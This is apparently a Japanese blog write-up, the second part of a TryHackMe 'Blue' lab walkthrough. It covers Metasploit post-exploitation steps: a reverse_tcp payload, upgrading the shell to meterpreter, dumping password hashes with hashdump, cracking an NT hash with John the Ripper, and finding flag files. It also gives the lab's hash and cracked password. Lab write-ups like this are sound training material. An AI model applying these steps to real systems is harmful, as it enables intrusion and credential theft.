1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Try Hack me Blue write up 後編 春休み一人アドカレ四日目

Posted at

はじめに

注意:この記事は前後編にの後編です。まず前編を読んでからこちらの記事を読んでください。
write upを前後編に分けるなど意味がわからないと思われるかもしれませんが、ぜひ前回の記事を読んでいただくようお願いします。
前回

手順

3.Escalate

前回metasploitからexploitを実行して侵入に成功しました。
ここからはmeterpreterを使って権限を昇格していきます。
前回のコマンドで指示通りに

set payload windows/x64/shell/reverse_tcp

を行っているとmeterpreterのshellが出てくるはずです。
でなければ以下のコマンドで入ります

use post/multi/manage/shell_to_meterpreter

なので答えはpost/multi/manage/shell_to_meterpreter になります
helpコマンドを見れば一覧がでます。そのなかのsessionコマンドを使います。
答えはSESSIONです。

このようにid 1とでていればOKです。また画像のようにrun 1を続けて実行してくださいスクリーンショット 2025-02-26 18.14.32.png

うまくいかなければ以下のコマンドを実行

use post/multi/manage/shell_to_meterpreter 
set session 1
run

すると以下のようにsessionが増えているはずです
スクリーンショット 2025-02-26 18.14.46.png

session -i 2

でコンソールに移動します。
これで権限昇格は完了しました。

参考

4. craking

先ほどのコンソールのまま言われたとおり以下のコマンドを実行。

hashdump

するとこのように出る。
スクリーンショット 2025-02-26 18.17.46 2.jpg
よって1つ目の答えはJohn
2つ目のこたえはffb43f0de35be4d9917ac0cc8ad57f8dの部分であるハッシュを解析することでできる。
いくつかツールはあるが、Jhon the ripperなどを使うとできる。
手順としては、ファイルを新規作成して先ほどのハッシュを書き込み、rockyou.txtというワードリストを使うとできる。
最初うまくいかなかったが、調べてみると--format=NT オプションが必要だった。

touch hashdump.txt
echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > hashdump.txt
john  --wordlist=/PATH/rockyou.txt hash.txt --format=NT

すると答えがalqfna22とでる。

Find flags!

lsを打つとこのように無数にでるので、コマンドを変える必要がある
スクリーンショット 2025-03-01 0.20.09.png

以下のコマンドで一発でファイルの場所を探すことができる。

search -f flag*.txt

スクリーンショット 2025-03-01 0.18.41.png

あとはcatやダウンロードして中身を見れば完了

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?